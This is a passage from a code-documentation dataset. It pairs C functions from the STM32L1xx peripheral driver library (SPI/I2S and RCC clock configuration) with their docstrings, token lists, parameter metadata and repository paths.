void I2S_Cmd(SPI_TypeDef* SPIx, FunctionalState NewState) { assert_param(IS_SPI_23_PERIPH(SPIx)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { SPIx->I2SCFGR |= SPI_I2SCFGR_I2SE; } else { SPIx->I2SCFGR &= (uint16_t)~((uint16_t)SPI_I2SCFGR_I2SE); } }
[ "void", "I2S_Cmd", "(", "SPI_TypeDef", "*", "SPIx", ",", "FunctionalState", "NewState", ")", "{", "assert_param", "(", "IS_SPI_23_PERIPH", "(", "SPIx", ")", ")", ";", "assert_param", "(", "IS_FUNCTIONAL_STATE", "(", "NewState", ")", ")", ";", "if", "(", "NewState", "!=", "DISABLE", ")", "{", "SPIx", "->", "I2SCFGR", "|=", "SPI_I2SCFGR_I2SE", ";", "}", "else", "{", "SPIx", "->", "I2SCFGR", "&=", "(", "uint16_t", ")", "~", "(", "(", "uint16_t", ")", "SPI_I2SCFGR_I2SE", ")", ";", "}", "}" ]
@brief Enables or disables the specified SPI peripheral (in I2S mode).
[ "@brief", "Enables", "or", "disables", "the", "specified", "SPI", "peripheral", "(", "in", "I2S", "mode", ")", "." ]
[ "/* Check the parameters */", "/* Enable the selected SPI peripheral (in I2S mode) */", "/* Disable the selected SPI peripheral in I2S mode */" ]
[ { "param": "SPIx", "type": "SPI_TypeDef" }, { "param": "NewState", "type": "FunctionalState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "SPIx", "type": "SPI_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "NewState", "type": "FunctionalState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
63e7cf3456b9f263604dcce79aeea41791356d1e
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_spi.c
[ "MIT" ]
C
SPI_I2S_SendData
void
void SPI_I2S_SendData(SPI_TypeDef* SPIx, uint16_t Data) { /* Check the parameters */ assert_param(IS_SPI_ALL_PERIPH(SPIx)); /* Write in the DR register the data to be sent */ SPIx->DR = Data; }
/** * @brief Transmits a Data through the SPIx/I2Sx peripheral. * @param SPIx: To select the SPIx/I2Sx peripheral, where x can be: 1, 2 or 3 * in SPI mode or 2 or 3 in I2S mode. * @param Data: Data to be transmitted. * @retval None */
@brief Transmits a Data through the SPIx/I2Sx peripheral. @param SPIx: To select the SPIx/I2Sx peripheral, where x can be: 1, 2 or 3 in SPI mode or 2 or 3 in I2S mode. @param Data: Data to be transmitted. @retval None
[ "@brief", "Transmits", "a", "Data", "through", "the", "SPIx", "/", "I2Sx", "peripheral", ".", "@param", "SPIx", ":", "To", "select", "the", "SPIx", "/", "I2Sx", "peripheral", "where", "x", "can", "be", ":", "1", "2", "or", "3", "in", "SPI", "mode", "or", "2", "or", "3", "in", "I2S", "mode", ".", "@param", "Data", ":", "Data", "to", "be", "transmitted", ".", "@retval", "None" ]
void SPI_I2S_SendData(SPI_TypeDef* SPIx, uint16_t Data) { assert_param(IS_SPI_ALL_PERIPH(SPIx)); SPIx->DR = Data; }
[ "void", "SPI_I2S_SendData", "(", "SPI_TypeDef", "*", "SPIx", ",", "uint16_t", "Data", ")", "{", "assert_param", "(", "IS_SPI_ALL_PERIPH", "(", "SPIx", ")", ")", ";", "SPIx", "->", "DR", "=", "Data", ";", "}" ]
@brief Transmits a Data through the SPIx/I2Sx peripheral.
[ "@brief", "Transmits", "a", "Data", "through", "the", "SPIx", "/", "I2Sx", "peripheral", "." ]
[ "/* Check the parameters */", "/* Write in the DR register the data to be sent */" ]
[ { "param": "SPIx", "type": "SPI_TypeDef" }, { "param": "Data", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "SPIx", "type": "SPI_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "Data", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_DeInit
void
void RCC_DeInit(void) { /* Set MSION bit */ RCC->CR |= (uint32_t)0x00000100; /* Reset SW[1:0], HPRE[3:0], PPRE1[2:0], PPRE2[2:0], MCOSEL[2:0] and MCOPRE[2:0] bits */ RCC->CFGR &= (uint32_t)0x88FFC00C; /* Reset HSION, HSEON, CSSON and PLLON bits */ RCC->CR &= (uint32_t)0xEEFEFFFE; /* Reset HSEBYP bit */ RCC->CR &= (uint32_t)0xFFFBFFFF; /* Reset PLLSRC, PLLMUL[3:0] and PLLDIV[1:0] bits */ RCC->CFGR &= (uint32_t)0xFF02FFFF; /* Disable all interrupts */ RCC->CIR = 0x00000000; }
/** * @brief Resets the RCC clock configuration to the default reset state. * @note The default reset state of the clock configuration is given below: * @note MSI ON and used as system clock source (MSI range is not modified * by this function, it keep the value configured by user application) * @note HSI, HSE and PLL OFF * @note AHB, APB1 and APB2 prescaler set to 1. * @note CSS and MCO OFF * @note All interrupts disabled * @note However, this function doesn't modify the configuration of the * @note Peripheral clocks * @note LSI, LSE and RTC clocks * @param None * @retval None */
@brief Resets the RCC clock configuration to the default reset state. @note The default reset state of the clock configuration is given below: @note MSI ON and used as system clock source (MSI range is not modified by this function, it keep the value configured by user application) @note HSI, HSE and PLL OFF @note AHB, APB1 and APB2 prescaler set to 1.
[ "@brief", "Resets", "the", "RCC", "clock", "configuration", "to", "the", "default", "reset", "state", ".", "@note", "The", "default", "reset", "state", "of", "the", "clock", "configuration", "is", "given", "below", ":", "@note", "MSI", "ON", "and", "used", "as", "system", "clock", "source", "(", "MSI", "range", "is", "not", "modified", "by", "this", "function", "it", "keep", "the", "value", "configured", "by", "user", "application", ")", "@note", "HSI", "HSE", "and", "PLL", "OFF", "@note", "AHB", "APB1", "and", "APB2", "prescaler", "set", "to", "1", "." ]
void RCC_DeInit(void) { RCC->CR |= (uint32_t)0x00000100; RCC->CFGR &= (uint32_t)0x88FFC00C; RCC->CR &= (uint32_t)0xEEFEFFFE; RCC->CR &= (uint32_t)0xFFFBFFFF; RCC->CFGR &= (uint32_t)0xFF02FFFF; RCC->CIR = 0x00000000; }
[ "void", "RCC_DeInit", "(", "void", ")", "{", "RCC", "->", "CR", "|=", "(", "uint32_t", ")", "0x00000100", ";", "RCC", "->", "CFGR", "&=", "(", "uint32_t", ")", "0x88FFC00C", ";", "RCC", "->", "CR", "&=", "(", "uint32_t", ")", "0xEEFEFFFE", ";", "RCC", "->", "CR", "&=", "(", "uint32_t", ")", "0xFFFBFFFF", ";", "RCC", "->", "CFGR", "&=", "(", "uint32_t", ")", "0xFF02FFFF", ";", "RCC", "->", "CIR", "=", "0x00000000", ";", "}" ]
@brief Resets the RCC clock configuration to the default reset state.
[ "@brief", "Resets", "the", "RCC", "clock", "configuration", "to", "the", "default", "reset", "state", "." ]
[ "/* Set MSION bit */", "/* Reset SW[1:0], HPRE[3:0], PPRE1[2:0], PPRE2[2:0], MCOSEL[2:0] and MCOPRE[2:0] bits */", "/* Reset HSION, HSEON, CSSON and PLLON bits */", "/* Reset HSEBYP bit */", "/* Reset PLLSRC, PLLMUL[3:0] and PLLDIV[1:0] bits */", "/* Disable all interrupts */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_MSIRangeConfig
void
void RCC_MSIRangeConfig(uint32_t RCC_MSIRange) { uint32_t tmpreg = 0; /* Check the parameters */ assert_param(IS_RCC_MSI_CLOCK_RANGE(RCC_MSIRange)); tmpreg = RCC->ICSCR; /* Clear MSIRANGE[2:0] bits */ tmpreg &= ~RCC_ICSCR_MSIRANGE; /* Set the MSIRANGE[2:0] bits according to RCC_MSIRange value */ tmpreg |= (uint32_t)RCC_MSIRange; /* Store the new value */ RCC->ICSCR = tmpreg; }
/** * @brief Configures the Internal Multi Speed oscillator (MSI) clock range. * @note After restart from Reset or wakeup from STANDBY, the MSI clock is * around 2.097 MHz. The MSI clock does not change after wake-up from * STOP mode. * @note The MSI clock range can be modified on the fly. * @param RCC_MSIRange: specifies the MSI Clock range. * This parameter must be one of the following values: * @arg RCC_MSIRange_0: MSI clock is around 65.536 KHz * @arg RCC_MSIRange_1: MSI clock is around 131.072 KHz * @arg RCC_MSIRange_2: MSI clock is around 262.144 KHz * @arg RCC_MSIRange_3: MSI clock is around 524.288 KHz * @arg RCC_MSIRange_4: MSI clock is around 1.048 MHz * @arg RCC_MSIRange_5: MSI clock is around 2.097 MHz (default after Reset or wake-up from STANDBY) * @arg RCC_MSIRange_6: MSI clock is around 4.194 MHz * * @retval None */
@brief Configures the Internal Multi Speed oscillator (MSI) clock range. @note After restart from Reset or wakeup from STANDBY, the MSI clock is around 2.097 MHz. The MSI clock does not change after wake-up from STOP mode. @note The MSI clock range can be modified on the fly. @param RCC_MSIRange: specifies the MSI Clock range. @retval None
[ "@brief", "Configures", "the", "Internal", "Multi", "Speed", "oscillator", "(", "MSI", ")", "clock", "range", ".", "@note", "After", "restart", "from", "Reset", "or", "wakeup", "from", "STANDBY", "the", "MSI", "clock", "is", "around", "2", ".", "097", "MHz", ".", "The", "MSI", "clock", "does", "not", "change", "after", "wake", "-", "up", "from", "STOP", "mode", ".", "@note", "The", "MSI", "clock", "range", "can", "be", "modified", "on", "the", "fly", ".", "@param", "RCC_MSIRange", ":", "specifies", "the", "MSI", "Clock", "range", ".", "@retval", "None" ]
void RCC_MSIRangeConfig(uint32_t RCC_MSIRange) { uint32_t tmpreg = 0; assert_param(IS_RCC_MSI_CLOCK_RANGE(RCC_MSIRange)); tmpreg = RCC->ICSCR; tmpreg &= ~RCC_ICSCR_MSIRANGE; tmpreg |= (uint32_t)RCC_MSIRange; RCC->ICSCR = tmpreg; }
[ "void", "RCC_MSIRangeConfig", "(", "uint32_t", "RCC_MSIRange", ")", "{", "uint32_t", "tmpreg", "=", "0", ";", "assert_param", "(", "IS_RCC_MSI_CLOCK_RANGE", "(", "RCC_MSIRange", ")", ")", ";", "tmpreg", "=", "RCC", "->", "ICSCR", ";", "tmpreg", "&=", "~", "RCC_ICSCR_MSIRANGE", ";", "tmpreg", "|=", "(", "uint32_t", ")", "RCC_MSIRange", ";", "RCC", "->", "ICSCR", "=", "tmpreg", ";", "}" ]
@brief Configures the Internal Multi Speed oscillator (MSI) clock range.
[ "@brief", "Configures", "the", "Internal", "Multi", "Speed", "oscillator", "(", "MSI", ")", "clock", "range", "." ]
[ "/* Check the parameters */", "/* Clear MSIRANGE[2:0] bits */", "/* Set the MSIRANGE[2:0] bits according to RCC_MSIRange value */", "/* Store the new value */" ]
[ { "param": "RCC_MSIRange", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_MSIRange", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_AdjustHSICalibrationValue
void
void RCC_AdjustHSICalibrationValue(uint8_t HSICalibrationValue) { uint32_t tmpreg = 0; /* Check the parameters */ assert_param(IS_RCC_HSI_CALIBRATION_VALUE(HSICalibrationValue)); tmpreg = RCC->ICSCR; /* Clear HSITRIM[4:0] bits */ tmpreg &= ~RCC_ICSCR_HSITRIM; /* Set the HSITRIM[4:0] bits according to HSICalibrationValue value */ tmpreg |= (uint32_t)HSICalibrationValue << 8; /* Store the new value */ RCC->ICSCR = tmpreg; }
/** * @brief Adjusts the Internal High Speed oscillator (HSI) calibration value. * @note The calibration is used to compensate for the variations in voltage * and temperature that influence the frequency of the internal HSI RC. * Refer to the Application Note AN3300 for more details on how to * calibrate the HSI. * @param HSICalibrationValue: specifies the HSI calibration trimming value. * This parameter must be a number between 0 and 0x1F. * @retval None */
@brief Adjusts the Internal High Speed oscillator (HSI) calibration value. @note The calibration is used to compensate for the variations in voltage and temperature that influence the frequency of the internal HSI RC. Refer to the Application Note AN3300 for more details on how to calibrate the HSI. @param HSICalibrationValue: specifies the HSI calibration trimming value. This parameter must be a number between 0 and 0x1F. @retval None
[ "@brief", "Adjusts", "the", "Internal", "High", "Speed", "oscillator", "(", "HSI", ")", "calibration", "value", ".", "@note", "The", "calibration", "is", "used", "to", "compensate", "for", "the", "variations", "in", "voltage", "and", "temperature", "that", "influence", "the", "frequency", "of", "the", "internal", "HSI", "RC", ".", "Refer", "to", "the", "Application", "Note", "AN3300", "for", "more", "details", "on", "how", "to", "calibrate", "the", "HSI", ".", "@param", "HSICalibrationValue", ":", "specifies", "the", "HSI", "calibration", "trimming", "value", ".", "This", "parameter", "must", "be", "a", "number", "between", "0", "and", "0x1F", ".", "@retval", "None" ]
void RCC_AdjustHSICalibrationValue(uint8_t HSICalibrationValue) { uint32_t tmpreg = 0; assert_param(IS_RCC_HSI_CALIBRATION_VALUE(HSICalibrationValue)); tmpreg = RCC->ICSCR; tmpreg &= ~RCC_ICSCR_HSITRIM; tmpreg |= (uint32_t)HSICalibrationValue << 8; RCC->ICSCR = tmpreg; }
[ "void", "RCC_AdjustHSICalibrationValue", "(", "uint8_t", "HSICalibrationValue", ")", "{", "uint32_t", "tmpreg", "=", "0", ";", "assert_param", "(", "IS_RCC_HSI_CALIBRATION_VALUE", "(", "HSICalibrationValue", ")", ")", ";", "tmpreg", "=", "RCC", "->", "ICSCR", ";", "tmpreg", "&=", "~", "RCC_ICSCR_HSITRIM", ";", "tmpreg", "|=", "(", "uint32_t", ")", "HSICalibrationValue", "<<", "8", ";", "RCC", "->", "ICSCR", "=", "tmpreg", ";", "}" ]
@brief Adjusts the Internal High Speed oscillator (HSI) calibration value.
[ "@brief", "Adjusts", "the", "Internal", "High", "Speed", "oscillator", "(", "HSI", ")", "calibration", "value", "." ]
[ "/* Check the parameters */", "/* Clear HSITRIM[4:0] bits */", "/* Set the HSITRIM[4:0] bits according to HSICalibrationValue value */", "/* Store the new value */" ]
[ { "param": "HSICalibrationValue", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "HSICalibrationValue", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_GetClocksFreq
void
void RCC_GetClocksFreq(RCC_ClocksTypeDef* RCC_Clocks) { uint32_t tmp = 0, pllmul = 0, plldiv = 0, pllsource = 0, presc = 0, msirange = 0; /* Get SYSCLK source -------------------------------------------------------*/ tmp = RCC->CFGR & RCC_CFGR_SWS; switch (tmp) { case 0x00: /* MSI used as system clock */ msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE ) >> 13; RCC_Clocks->SYSCLK_Frequency = (32768 * (1 << (msirange + 1))); break; case 0x04: /* HSI used as system clock */ RCC_Clocks->SYSCLK_Frequency = HSI_VALUE; break; case 0x08: /* HSE used as system clock */ RCC_Clocks->SYSCLK_Frequency = HSE_VALUE; break; case 0x0C: /* PLL used as system clock */ /* Get PLL clock source and multiplication factor ----------------------*/ pllmul = RCC->CFGR & RCC_CFGR_PLLMUL; plldiv = RCC->CFGR & RCC_CFGR_PLLDIV; pllmul = PLLMulTable[(pllmul >> 18)]; plldiv = (plldiv >> 22) + 1; pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; if (pllsource == 0x00) { /* HSI oscillator clock selected as PLL clock source */ RCC_Clocks->SYSCLK_Frequency = (((HSI_VALUE) * pllmul) / plldiv); } else { /* HSE selected as PLL clock source */ RCC_Clocks->SYSCLK_Frequency = (((HSE_VALUE) * pllmul) / plldiv); } break; default: /* MSI used as system clock */ msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE ) >> 13; RCC_Clocks->SYSCLK_Frequency = (32768 * (1 << (msirange + 1))); break; } /* Compute HCLK, PCLK1, PCLK2 and ADCCLK clocks frequencies ----------------*/ /* Get HCLK prescaler */ tmp = RCC->CFGR & RCC_CFGR_HPRE; tmp = tmp >> 4; presc = APBAHBPrescTable[tmp]; /* HCLK clock frequency */ RCC_Clocks->HCLK_Frequency = RCC_Clocks->SYSCLK_Frequency >> presc; /* Get PCLK1 prescaler */ tmp = RCC->CFGR & RCC_CFGR_PPRE1; tmp = tmp >> 8; presc = APBAHBPrescTable[tmp]; /* PCLK1 clock frequency */ RCC_Clocks->PCLK1_Frequency = RCC_Clocks->HCLK_Frequency >> presc; /* Get PCLK2 prescaler */ tmp = RCC->CFGR & RCC_CFGR_PPRE2; tmp = tmp >> 11; presc = APBAHBPrescTable[tmp]; /* PCLK2 clock frequency */ RCC_Clocks->PCLK2_Frequency = RCC_Clocks->HCLK_Frequency >> presc; }
/** * @brief Returns the frequencies of the System, AHB and APB busses clocks. * @note The frequency returned by this function is not the real frequency * in the chip. It is calculated based on the predefined constant and * the source selected by RCC_SYSCLKConfig(): * * @note If SYSCLK source is MSI, function returns values based on MSI * Value as defined by the MSI range, refer to RCC_MSIRangeConfig() * * @note If SYSCLK source is HSI, function returns values based on HSI_VALUE(*) * * @note If SYSCLK source is HSE, function returns values based on HSE_VALUE(**) * * @note If SYSCLK source is PLL, function returns values based on HSE_VALUE(**) * or HSI_VALUE(*) multiplied/divided by the PLL factors. * * (*) HSI_VALUE is a constant defined in stm32l1xx.h file (default value * 16 MHz) but the real value may vary depending on the variations * in voltage and temperature, refer to RCC_AdjustHSICalibrationValue(). * * (**) HSE_VALUE is a constant defined in stm32l1xx.h file (default value * 8 MHz), user has to ensure that HSE_VALUE is same as the real * frequency of the crystal used. Otherwise, this function may * return wrong result. * * - The result of this function could be not correct when using fractional * value for HSE crystal. * * @param RCC_Clocks: pointer to a RCC_ClocksTypeDef structure which will hold * the clocks frequencies. * * @note This function can be used by the user application to compute the * baudrate for the communication peripherals or configure other parameters. * @note Each time SYSCLK, HCLK, PCLK1 and/or PCLK2 clock changes, this function * must be called to update the structure's field. Otherwise, any * configuration based on this function will be incorrect. * * @retval None */
@brief Returns the frequencies of the System, AHB and APB busses clocks. @note The frequency returned by this function is not the real frequency in the chip. It is calculated based on the predefined constant and the source selected by RCC_SYSCLKConfig(). @note If SYSCLK source is MSI, function returns values based on MSI Value as defined by the MSI range, refer to RCC_MSIRangeConfig() @note If SYSCLK source is HSI, function returns values based on HSI_VALUE(*) @note If SYSCLK source is HSE, function returns values based on HSE_VALUE(**) @note If SYSCLK source is PLL, function returns values based on HSE_VALUE(**) or HSI_VALUE(*) multiplied/divided by the PLL factors. (*) HSI_VALUE is a constant defined in stm32l1xx.h file (default value 16 MHz) but the real value may vary depending on the variations in voltage and temperature, refer to RCC_AdjustHSICalibrationValue(). (**) HSE_VALUE is a constant defined in stm32l1xx.h file (default value 8 MHz), user has to ensure that HSE_VALUE is same as the real frequency of the crystal used. Otherwise, this function may return wrong result. - The result of this function could be not correct when using fractional value for HSE crystal. @param RCC_Clocks: pointer to a RCC_ClocksTypeDef structure which will hold the clocks frequencies. @note This function can be used by the user application to compute the baudrate for the communication peripherals or configure other parameters. @note Each time SYSCLK, HCLK, PCLK1 and/or PCLK2 clock changes, this function must be called to update the structure's field. Otherwise, any configuration based on this function will be incorrect. @retval None
[ "@brief", "Returns", "the", "frequencies", "of", "the", "System", "AHB", "and", "APB", "busses", "clocks", ".", "@note", "The", "frequency", "returned", "by", "this", "function", "is", "not", "the", "real", "frequency", "in", "the", "chip", ".", "It", "is", "calculated", "based", "on", "the", "predefined", "constant", "and", "the", "source", "selected", "by", "RCC_SYSCLKConfig", "()", ".", "@note", "If", "SYSCLK", "source", "is", "MSI", "function", "returns", "values", "based", "on", "MSI", "Value", "as", "defined", "by", "the", "MSI", "range", "refer", "to", "RCC_MSIRangeConfig", "()", "@note", "If", "SYSCLK", "source", "is", "HSI", "function", "returns", "values", "based", "on", "HSI_VALUE", "(", "*", ")", "@note", "If", "SYSCLK", "source", "is", "HSE", "function", "returns", "values", "based", "on", "HSE_VALUE", "(", "**", ")", "@note", "If", "SYSCLK", "source", "is", "PLL", "function", "returns", "values", "based", "on", "HSE_VALUE", "(", "**", ")", "or", "HSI_VALUE", "(", "*", ")", "multiplied", "/", "divided", "by", "the", "PLL", "factors", ".", "(", "*", ")", "HSI_VALUE", "is", "a", "constant", "defined", "in", "stm32l1xx", ".", "h", "file", "(", "default", "value", "16", "MHz", ")", "but", "the", "real", "value", "may", "vary", "depending", "on", "the", "variations", "in", "voltage", "and", "temperature", "refer", "to", "RCC_AdjustHSICalibrationValue", "()", ".", "(", "**", ")", "HSE_VALUE", "is", "a", "constant", "defined", "in", "stm32l1xx", ".", "h", "file", "(", "default", "value", "8", "MHz", ")", "user", "has", "to", "ensure", "that", "HSE_VALUE", "is", "same", "as", "the", "real", "frequency", "of", "the", "crystal", "used", ".", "Otherwise", "this", "function", "may", "return", "wrong", "result", ".", "-", "The", "result", "of", "this", "function", "could", "be", "not", "correct", "when", "using", "fractional", "value", "for", "HSE", "crystal", ".", "@param", "RCC_Clocks", ":", "pointer", "to", "a", "RCC_ClocksTypeDef", "structure", "which", "will", "hold", "the", "clocks", "frequencies", ".", "@note", "This", "function", "can", "be", "used", "by", "the", "user", "application", "to", "compute", "the", "baudrate", "for", "the", "communication", "peripherals", "or", "configure", "other", "parameters", ".", "@note", "Each", "time", "SYSCLK", "HCLK", "PCLK1", "and", "/", "or", "PCLK2", "clock", "changes", "this", "function", "must", "be", "called", "to", "update", "the", "structure", "'", "s", "field", ".", "Otherwise", "any", "configuration", "based", "on", "this", "function", "will", "be", "incorrect", ".", "@retval", "None" ]
void RCC_GetClocksFreq(RCC_ClocksTypeDef* RCC_Clocks) { uint32_t tmp = 0, pllmul = 0, plldiv = 0, pllsource = 0, presc = 0, msirange = 0; tmp = RCC->CFGR & RCC_CFGR_SWS; switch (tmp) { case 0x00: msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE ) >> 13; RCC_Clocks->SYSCLK_Frequency = (32768 * (1 << (msirange + 1))); break; case 0x04: RCC_Clocks->SYSCLK_Frequency = HSI_VALUE; break; case 0x08: RCC_Clocks->SYSCLK_Frequency = HSE_VALUE; break; case 0x0C: pllmul = RCC->CFGR & RCC_CFGR_PLLMUL; plldiv = RCC->CFGR & RCC_CFGR_PLLDIV; pllmul = PLLMulTable[(pllmul >> 18)]; plldiv = (plldiv >> 22) + 1; pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; if (pllsource == 0x00) { RCC_Clocks->SYSCLK_Frequency = (((HSI_VALUE) * pllmul) / plldiv); } else { RCC_Clocks->SYSCLK_Frequency = (((HSE_VALUE) * pllmul) / plldiv); } break; default: msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE ) >> 13; RCC_Clocks->SYSCLK_Frequency = (32768 * (1 << (msirange + 1))); break; } tmp = RCC->CFGR & RCC_CFGR_HPRE; tmp = tmp >> 4; presc = APBAHBPrescTable[tmp]; RCC_Clocks->HCLK_Frequency = RCC_Clocks->SYSCLK_Frequency >> presc; tmp = RCC->CFGR & RCC_CFGR_PPRE1; tmp = tmp >> 8; presc = APBAHBPrescTable[tmp]; RCC_Clocks->PCLK1_Frequency = RCC_Clocks->HCLK_Frequency >> presc; tmp = RCC->CFGR & RCC_CFGR_PPRE2; tmp = tmp >> 11; presc = APBAHBPrescTable[tmp]; RCC_Clocks->PCLK2_Frequency = RCC_Clocks->HCLK_Frequency >> presc; }
[ "void", "RCC_GetClocksFreq", "(", "RCC_ClocksTypeDef", "*", "RCC_Clocks", ")", "{", "uint32_t", "tmp", "=", "0", ",", "pllmul", "=", "0", ",", "plldiv", "=", "0", ",", "pllsource", "=", "0", ",", "presc", "=", "0", ",", "msirange", "=", "0", ";", "tmp", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_SWS", ";", "switch", "(", "tmp", ")", "{", "case", "0x00", ":", "msirange", "=", "(", "RCC", "->", "ICSCR", "&", "RCC_ICSCR_MSIRANGE", ")", ">>", "13", ";", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "(", "32768", "*", "(", "1", "<<", "(", "msirange", "+", "1", ")", ")", ")", ";", "break", ";", "case", "0x04", ":", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "HSI_VALUE", ";", "break", ";", "case", "0x08", ":", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "HSE_VALUE", ";", "break", ";", "case", "0x0C", ":", "pllmul", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_PLLMUL", ";", "plldiv", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_PLLDIV", ";", "pllmul", "=", "PLLMulTable", "[", "(", "pllmul", ">>", "18", ")", "]", ";", "plldiv", "=", "(", "plldiv", ">>", "22", ")", "+", "1", ";", "pllsource", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_PLLSRC", ";", "if", "(", "pllsource", "==", "0x00", ")", "{", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "(", "(", "(", "HSI_VALUE", ")", "*", "pllmul", ")", "/", "plldiv", ")", ";", "}", "else", "{", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "(", "(", "(", "HSE_VALUE", ")", "*", "pllmul", ")", "/", "plldiv", ")", ";", "}", "break", ";", "default", ":", "msirange", "=", "(", "RCC", "->", "ICSCR", "&", "RCC_ICSCR_MSIRANGE", ")", ">>", "13", ";", "RCC_Clocks", "->", "SYSCLK_Frequency", "=", "(", "32768", "*", "(", "1", "<<", "(", "msirange", "+", "1", ")", ")", ")", ";", "break", ";", "}", "tmp", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_HPRE", ";", "tmp", "=", "tmp", ">>", "4", ";", "presc", "=", "APBAHBPrescTable", "[", "tmp", "]", ";", "RCC_Clocks", "->", "HCLK_Frequency", "=", "RCC_Clocks", "->", "SYSCLK_Frequency", ">>", "presc", ";", "tmp", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_PPRE1", ";", "tmp", "=", "tmp", ">>", "8", ";", "presc", "=", "APBAHBPrescTable", "[", "tmp", "]", ";", "RCC_Clocks", "->", "PCLK1_Frequency", "=", "RCC_Clocks", "->", "HCLK_Frequency", ">>", "presc", ";", "tmp", "=", "RCC", "->", "CFGR", "&", "RCC_CFGR_PPRE2", ";", "tmp", "=", "tmp", ">>", "11", ";", "presc", "=", "APBAHBPrescTable", "[", "tmp", "]", ";", "RCC_Clocks", "->", "PCLK2_Frequency", "=", "RCC_Clocks", "->", "HCLK_Frequency", ">>", "presc", ";", "}" ]
@brief Returns the frequencies of the System, AHB and APB busses clocks.
[ "@brief", "Returns", "the", "frequencies", "of", "the", "System", "AHB", "and", "APB", "busses", "clocks", "." ]
[ "/* Get SYSCLK source -------------------------------------------------------*/", "/* MSI used as system clock */", "/* HSI used as system clock */", "/* HSE used as system clock */", "/* PLL used as system clock */", "/* Get PLL clock source and multiplication factor ----------------------*/", "/* HSI oscillator clock selected as PLL clock source */", "/* HSE selected as PLL clock source */", "/* MSI used as system clock */", "/* Compute HCLK, PCLK1, PCLK2 and ADCCLK clocks frequencies ----------------*/", "/* Get HCLK prescaler */", "/* HCLK clock frequency */", "/* Get PCLK1 prescaler */", "/* PCLK1 clock frequency */", "/* Get PCLK2 prescaler */", "/* PCLK2 clock frequency */" ]
[ { "param": "RCC_Clocks", "type": "RCC_ClocksTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "RCC_Clocks", "type": "RCC_ClocksTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f48e4f6b11cb5725a611db37ea7fc2db5b8ca795
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_rcc.c
[ "MIT" ]
C
RCC_RTCCLKConfig
void
void RCC_RTCCLKConfig(uint32_t RCC_RTCCLKSource) { uint32_t tmpreg = 0; /* Check the parameters */ assert_param(IS_RCC_RTCCLK_SOURCE(RCC_RTCCLKSource)); if ((RCC_RTCCLKSource & RCC_CSR_RTCSEL_HSE) == RCC_CSR_RTCSEL_HSE) { /* If HSE is selected as RTC clock source, configure HSE division factor for RTC clock */ tmpreg = RCC->CR; /* Clear RTCPRE[1:0] bits */ tmpreg &= ~RCC_CR_RTCPRE; /* Configure HSE division factor for RTC clock */ tmpreg |= (RCC_RTCCLKSource & RCC_CR_RTCPRE); /* Store the new value */ RCC->CR = tmpreg; } RCC->CSR &= ~RCC_CSR_RTCSEL; /* Select the RTC clock source */ RCC->CSR |= (RCC_RTCCLKSource & RCC_CSR_RTCSEL); }
